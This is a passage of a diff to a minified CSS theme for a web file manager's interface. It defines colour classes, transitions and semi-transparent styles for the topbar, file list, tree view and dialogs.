k-9{background:#a71278;}.bdcolor-pink-9{border-color:#a71278;}.pink-10{color:#8c0776;}.bg-pink-10{background:#8c0776;}.bdcolor-pink-10{border-color:#8c0776;}.red-1{color:#fef0ef;}.bg-red-1{background:#fef0ef;}.bdcolor-red-1{border-color:#fef0ef;}.red-2{color:#fcdbd9;}.bg-red-2{background:#fcdbd9;}.bdcolor-red-2{border-color:#fcdbd9;}.red-3{color:#fabeb9;}.bg-red-3{background:#fabeb9;}.bdcolor-red-3{border-color:#fabeb9;}.red-4{color:#f79992;}.bg-red-4{background:#f79992;}.bdcolor-red-4{border-color:#f79992;}.red-5{color:#f46e65;}.bg-red-5{background:#f46e65;}.bdcolor-red-5{border-color:#f46e65;}.red-6{color:#f04134;}.bg-red-6{background:#f04134;}.bdcolor-red-6{border-color:#f04134;}.red-7{color:#d73435;}.bg-red-7{background:#d73435;}.bdcolor-red-7{border-color:#d73435;}.red-8{color:#bd2636;}.bg-red-8{background:#bd2636;}.bdcolor-red-8{border-color:#bd2636;}.red-9{color:#a31837;}.bg-red-9{background:#a31837;}.bdcolor-red-9{border-color:#a31837;}.red-10{color:#880a38;}.bg-red-10{background:#880a38;}.bdcolor-red-10{border-color:#880a38;}.orange-1{color:#fef3eb;}.bg-orange-1{background:#fef3eb;}.bdcolor-orange-1{border-color:#fef3eb;}.orange-2{color:#fde3cf;}.bg-orange-2{background:#fde3cf;}.bdcolor-orange-2{border-color:#fde3cf;}.orange-3{color:#fccca7;}.bg-orange-3{background:#fccca7;}.bdcolor-orange-3{border-color:#fccca7;}.orange-4{color:#faaf76;}.bg-orange-4{background:#faaf76;}.bdcolor-orange-4{border-color:#faaf76;}.orange-5{color:#f78e3d;}.bg-orange-5{background:#f78e3d;}.bdcolor-orange-5{border-color:#f78e3d;}.orange-6{color:#f56a00;}.bg-orange-6{background:#f56a00;}.bdcolor-orange-6{border-color:#f56a00;}.orange-7{color:#d75000;}.bg-orange-7{background:#d75000;}.bdcolor-orange-7{border-color:#d75000;}.orange-8{color:#b93600;}.bg-orange-8{background:#b93600;}.bdcolor-orange-8{border-color:#b93600;}.orange-9{color:#991b00;}.bg-orange-9{background:#991b00;}.bdcolor-orange-9{border-color:#991b00;}.orange-10{color:#7a0000;}.bg-orange-10{background:#7a0000;}.bdcolor-orange-10{border-color:#7a0000;}.yellow-1{color:#fffaeb;}.bg-yellow-1{background:#fffaeb;}.bdcolor-yellow-1{border-color:#fffaeb;}.yellow-2{color:#fff3cf;}.bg-yellow-2{background:#fff3cf;}.bdcolor-yellow-2{border-color:#fff3cf;}.yellow-3{color:#ffe9a7;}.bg-yellow-3{background:#ffe9a7;}.bdcolor-yellow-3{border-color:#ffe9a7;}.yellow-4{color:#ffdd76;}.bg-yellow-4{background:#ffdd76;}.bdcolor-yellow-4{border-color:#ffdd76;}.yellow-5{color:#ffce3d;}.bg-yellow-5{background:#ffce3d;}.bdcolor-yellow-5{border-color:#ffce3d;}.yellow-6{color:#ffbf00;}.bg-yellow-6{background:#ffbf00;}.bdcolor-yellow-6{border-color:#ffbf00;}.yellow-7{color:#e09a00;}.bg-yellow-7{background:#e09a00;}.bdcolor-yellow-7{border-color:#e09a00;}.yellow-8{color:#c17500;}.bg-yellow-8{background:#c17500;}.bdcolor-yellow-8{border-color:#c17500;}.yellow-9{color:#a04f00;}.bg-yellow-9{background:#a04f00;}.bdcolor-yellow-9{border-color:#a04f00;}.yellow-10{color:#802800;}.bg-yellow-10{background:#802800;}.bdcolor-yellow-10{border-color:#802800;}.grey-1{color:#fbfbfb;}.bg-grey-1{background:#fbfbfb;}.bdcolor-grey-1{border-color:#fbfbfb;}.grey-2{color:#f7f7f7;}.bg-grey-2{background:#f7f7f7;}.bdcolor-grey-2{border-color:#f7f7f7;}.grey-3{color:#f5f5f5;}.bg-grey-3{background:#f5f5f5;}.bdcolor-grey-3{border-color:#f5f5f5;}.grey-4{color:#e9e9e9;}.bg-grey-4{background:#e9e9e9;}.bdcolor-grey-4{border-color:#e9e9e9;}.grey-5{color:#d9d9d9;}.bg-grey-5{background:#d9d9d9;}.bdcolor-grey-5{border-color:#d9d9d9;}.grey-6{color:#bfbfbf;}.bg-grey-6{background:#bfbfbf;}.bdcolor-grey-6{border-color:#bfbfbf;}.grey-7{color:#919191;}.bg-grey-7{background:#919191;}.bdcolor-grey-7{border-color:#919191;}.grey-8{color:#5a5a5a;}.bg-grey-8{background:#5a5a5a;}.bdcolor-grey-8{border-color:#5a5a5a;}.grey-9{color:#404040;}.bg-grey-9{background:#404040;}.bdcolor-grey-9{border-color:#404040;}.grey-10{color:#222;}.bg-grey-10{background:#222;}.bdcolor-grey-10{border-color:#222;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.label{font-weight:400;font-size:1em;display:inline-block;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.cursor-mouse.cursor-default *{cursor:url("../../../images/common/cursor/default.png"), auto !important;}.cursor-mouse.cursor-move *{cursor:url("../../../images/common/cursor/move.png"), auto !important;}.cursor-mouse.cursor-down *{cursor:url("../../../images/common/cursor/down.png"), auto !important;}.cursor-mouse.cursor-add *{cursor:url("../../../images/common/cursor/add.png"), auto !important;}.text-color-set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full-background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;background-size:100% 100%;} body .full-background:before{ width:100%;height:100%;display:block;content:" ";background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;background-size:100% 100%;filter:url(blur.svg#full-background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body .btn .font-icon, body .btn.btn-default .font-icon{ color:rgba(255,255,255,0.8);} body .aui-outer .btn .font-icon, body .edit-main .btn .font-icon{ color:#999;} body .common-footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.6);border-top:1px solid rgba(234,234,234,0.15);} body .common-footer a{ color:rgba(255,255,255,0.8);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;padding:0 15px 0 20px;} body .aui-outer{ border:none;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-state-focus .aui-outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui-title{ border-radius:0;} body .aui-buttons button.aui-state-highlight{ background:linear-gradient(to right,#44abf6,#2865e2);} body .aui-state-focus .aui-title, body .aui-title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .dropdown-menu > li > a:hover, body .dropdown-menu .this a, body .dropdown-menu > li > a:focus{ background:linear-gradient(to right,#44abf6,#2865e2);} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);border:none;} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar-menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar-menu, body .topbar .content .topbar-menu:hover, body .topbar .content .topbar-menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share-title, body .topbar .content .share-info, body .topbar .content .share-info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top-right div.share-info-user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .font-icon{ color:#fff;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-bg{ background:#666;} body .frame-main .frame-right .file-select-info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom-box .cell:hover{ background:rgba(234,234,234,0.16);} body .setting-content .input-btn-right .font-icon{ color:#888;} body .user-space-info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group-space-use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #btn-history-back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input-style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button-style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button-style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button-style:active, body .button-style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball-input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball-input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet a, body .header-middle #yarnball .yarnball .yarnlet a:link, body .header-middle #yarnball .yarnball .yarnlet a:visited{ padding:0px 8px 0px 8px;margin-left:-10px;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.file-list-icon div.file .filename, body .file-draging.file-list-list div.file .filename, body .file-draging.file-list-split div.file .filename{ visibility:hidden;} body .file-draging.file-list-icon div.file.handle_target .filename, body .file-draging.file-list-list div.file.handle_target .filename, body .file-draging.file-list-split div.file.handle_target .filename{ visibility:visible;} body .file-list-icon .file{ color:#fff;} body .file-list-list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .file-list-list .file.file2{ background:rgba(221,221,221,0.02);} body .file-continer .file, body .file-continer .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .file-continer .file.hover, body .file-continer .file.select-split-parent, body .file-continer .file2.hover, body .file-continer .file2.select-split-parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .file-continer .file.select, body .file-continer .file.file-select-drag-temp, body .file-continer .file.file-select-over-temp, body .file-continer .file2.select, body .file-continer .file2.file-select-drag-temp, body .file-continer .file2.file-select-over-temp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .file-list-split .split-box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .file-list-split .split-box.split-hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .file-list-split .split-box.split-select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body .file-list-split .file .children-open{ background:rgba(255,255,255,0.01);} body .file-list-split .file .children-open i.font-icon{ color:#fff;} body .context-menu-list .context-menu-item.hover{ background:linear-gradient(to right,#44abf6,#2865e2);} body #list-type-header{ background:none;} body #main-title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main-title .this{ background:rgba(234,234,234,0.16);} body #main-title .filename, body #main-title .filesize, body #main-title .filetype, body #main-title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main-title .filename:hover, body #main-title .filesize:hover, body #main-title .filetype:hover, body #main-title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page-editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page-editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page-editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu-left, body #body .app-menu-left{ background:rgba(230,230,230,0.2);background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;} body #body .menu-left h1, body #body .app-menu-left h1{ color:#fff;font-weight:400;} body #body .menu-left .setting a, body #body .app-menu-left .setting a{ color:#fff;} body #body .menu-left .setting a:hover, body #body .app-menu-left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu-left .setting a.selected, body #body .app-menu-left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .menu-left .line, body #body .app-menu-left .line{ color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);} body #body .user-list a{ color:#2a6496;} body #body .system-content .left-frame .left-content .ztree li a{ text-shadow:none;} body #body .system-content .left-frame .left-content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system-content .left-frame .left-content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body#page-explorer .task-tab, body#page-editor .task-tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body .ztree.group-list-tree li a{ color:#444;text-shadow:none;} body.setting-page .ztree li a{ color:inherit;}} -/* ver 4.25(2017-12-04) [build 1512368389.9689] */ \ No newline at end of file +.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.text-color-set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full-background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;background-size:100% 100%;} body .full-background:before{ width:100%;height:100%;display:block;content:" ";background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;background-size:100% 100%;filter:url(blur.svg#full-background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body .btn .font-icon, body .btn.btn-default .font-icon{ color:rgba(255,255,255,0.8);} body .aui-outer .btn .font-icon, body .edit-main .btn .font-icon{ color:#999;} body .common-footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.6);border-top:1px solid rgba(234,234,234,0.15);} body .common-footer a{ color:rgba(255,255,255,0.8);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;} body .aui-outer{ border:none;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-state-focus .aui-outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui-title{ border-radius:0;} body .aui-buttons button.aui-state-highlight{ background:linear-gradient(to right,#44abf6,#2865e2);} body .aui-state-focus .aui-title, body .aui-title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .dropdown-menu > li > a:hover, body .dropdown-menu .this a, body .dropdown-menu > li > a:focus{ background:linear-gradient(to right,#44abf6,#2865e2);} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);border:none;} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar-menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar-menu, body .topbar .content .topbar-menu:hover, body .topbar .content .topbar-menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share-title, body .topbar .content .share-info, body .topbar .content .share-info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top-right div.share-info-user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .share-page-main .show-code{ border:1px solid rgba(100,100,100,0.2);background:rgba(255,255,255,0.9);border-radius:2px;} body .share-page-main .show-code pre{ font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace, 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .font-icon{ color:#fff;} body .frame-main .frame-right .frame-right-main .tools .tools-right .menu-file-sort-by:hover, body .frame-main .frame-right .frame-right-main .tools .tools-right .menu-file-sort-by.context-menu-active{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-bg{ background:#666;} body .frame-main .frame-right .file-select-info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom-box .cell:hover{ background:rgba(234,234,234,0.16);} body .setting-content .input-btn-right .font-icon{ color:#888;} body .user-space-info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group-space-use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #btn-history-back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input-style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button-style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button-style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button-style:active, body .button-style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right 